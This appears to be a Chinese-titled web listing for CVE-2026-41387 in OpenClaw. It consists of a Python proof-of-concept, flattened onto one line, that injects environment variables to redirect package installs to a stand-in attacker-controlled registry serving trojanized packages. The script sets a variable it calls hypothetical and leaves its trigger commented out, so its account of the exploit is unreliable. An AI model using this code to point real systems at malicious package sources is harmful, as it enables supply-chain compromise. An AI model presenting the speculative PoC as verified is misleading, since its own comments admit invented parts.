CVE-2026-41387 OpenClaw环境变量清洗缺失致代码执行

import os import subprocess # PoC for CVE-2026-41387: OpenClaw Incomplete Host Environment Variable Sanitization # Description: This script demonstrates how an attacker can set malicious environment variables # to redirect package resolution to a controlled infrastructure. def exploit_cve_2026_41387(): # 1. Define the attacker-controlled registry URL # In a real attack, this server hosts trojanized packages malicious_registry = "http://attacker-controlled-malicious-registry.com" # 2. Inject malicious environment variables # OpenClaw < 2026.3.22 fails to sanitize these variables during approved exec requests print("[*] Injecting malicious environment variables...") os.environ['PACKAGE_MANAGER_REGISTRY'] = malicious_registry os.environ['HOST_ENV_OVERRIDE'] = 'enabled' # Hypothetical variable to trigger the vulnerable path # 3. Simulate the trigger (User Interaction required) # Normally, this would be a user running 'openclaw install' or 'openclaw build' print(f"[*] Triggering OpenClaw execution with registry: {malicious_registry}") # Note: Actual execution commented out to prevent damage # try: # subprocess.run(["openclaw", "install", "vulnerable-package"], check=True) # except Exception as e: # print(f"Error: {e}") print("[+] Exploit logic executed. If OpenClaw is vulnerable, packages will be pulled from the malicious source.") if __name__ == "__main__": exploit_cve_2026_41387()